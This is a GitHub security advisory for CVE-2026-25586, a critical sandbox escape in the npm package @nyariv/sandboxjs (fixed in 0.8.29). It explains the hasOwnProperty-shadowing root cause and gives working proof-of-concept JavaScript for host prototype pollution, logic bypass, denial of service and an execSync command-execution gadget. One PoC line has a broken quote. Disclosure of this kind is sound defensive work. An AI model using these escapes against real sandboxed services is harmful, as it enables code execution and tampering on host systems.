GitHub Advisoryadvisory · npm

GHSA-jjpw-65fv-8g48 @nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution

CRITICAL Published 2026-02-05 Modified 2026-02-06 Official page ↗
Aliases
CVE-2026-25586
Ecosystem
npm
Packages
@nyariv/sandboxjs
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-74
Reviewed
2026-02-05

Affected packages

• npm @nyariv/sandboxjs: < 0.8.29 → fixed in 0.8.29

Description

Summary A sandbox escape is possible by shadowing `hasOwnProperty` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to `__proto__` and other blocked prototype properties, enabling host `Object.prototype` pollution and persistent cross-sandbox impact. The issue was reproducible on Node `v23.9.0` using the project’s current build output. The bypass works with default `Sandbox` configuration and does not require custom globals or whitelists. Root Cause `prototypeAccess` uses `a.hasOwnProperty(b)` directly, which can be attacker‑controlled if the sandboxed object shadows `hasOwnProperty`. When this returns `true`, the whitelist checks are skipped. • src/executor.ts:348 `const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');` • src/executor.ts:367-399 prototype whitelist enforcement only happens when `prototypeAccess` is true. • src/executor.ts:220-233 mutation guard uses `obj.context.hasOwnProperty(...)`, also bypassable via shadowing. Proofs of Concept `node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration` `node node_modules/rollup/dist/bin/rollup -c` Runtime target: `dist/node/Sandbox.js` ### Baseline: `__proto__` blocked without bypass ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); try { const res = sandbox.compile(`return ({}).__proto__`)().run(); console.log('res', res); } catch (e) { console.log('error', e && e.message); } ``` Prototype whitelist bypass -> host `Object.prototype` pollution ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); const code = ` const o = { hasOwnProperty: () => true }; const proto = o.__proto__; proto.polluted = 'pwned'; return 'done'; `; sandbox.compile(code)().run(); console.log('polluted' in ({}), ({}).polluted); ``` Logic bypass via prototype pollution ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); sandbox.compile(` const o = { hasOwnProperty: () => true }; const proto = o.__proto__; proto.isAdmin = true; return 'ok'; `)().run(); console.log('isAdmin', ({}).isAdmin === true); ``` DoS by overriding `Object.prototype.toString` ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); sandbox.compile(` const o = { hasOwnProperty: () => true }; const proto = o.__proto__; proto.toString = function () { throw new Error('aaaaaaa'); }; return 'ok'; `)().run(); try { String({}); } catch (e) { console.log('error', e.message); } ``` RCE via host gadget (prototype pollution -> `execSync`) ```js const Sandbox = require('./dist/node/Sandbox.js').default; const { execSync } = require('child_process'); const sandbox = new Sandbox(); sandbox.compile(` const o = { hasOwnProperty: () => true }; const proto = o.__proto__; proto.cmd = 'id; return 'ok'; `)().run(); const obj = {}; // typical innocent object const out = execSync(obj.cmd, { encoding: 'utf8' }).trim(); console.log(out); ``` Additional Finding : Prototype mutation via intermediate reference This does not require the `hasOwnProperty` bypass. Some prototypes can be reached via allowed static access (`[].constructor.prototype`) and then mutated via a local variable, which bypasses `isGlobal` checks. Mutate `Array.prototype.filter` without bypass ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run(); console.log('host filter', [1,2].filter); ``` Output: ``` host filter 1 ```

Related

Alias · CVE (1)

  • CVE-2026-25586 SandboxJS is a JavaScript sandboxing library. vulnerability

Weakness · CWE (1)

  • CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component weakness

References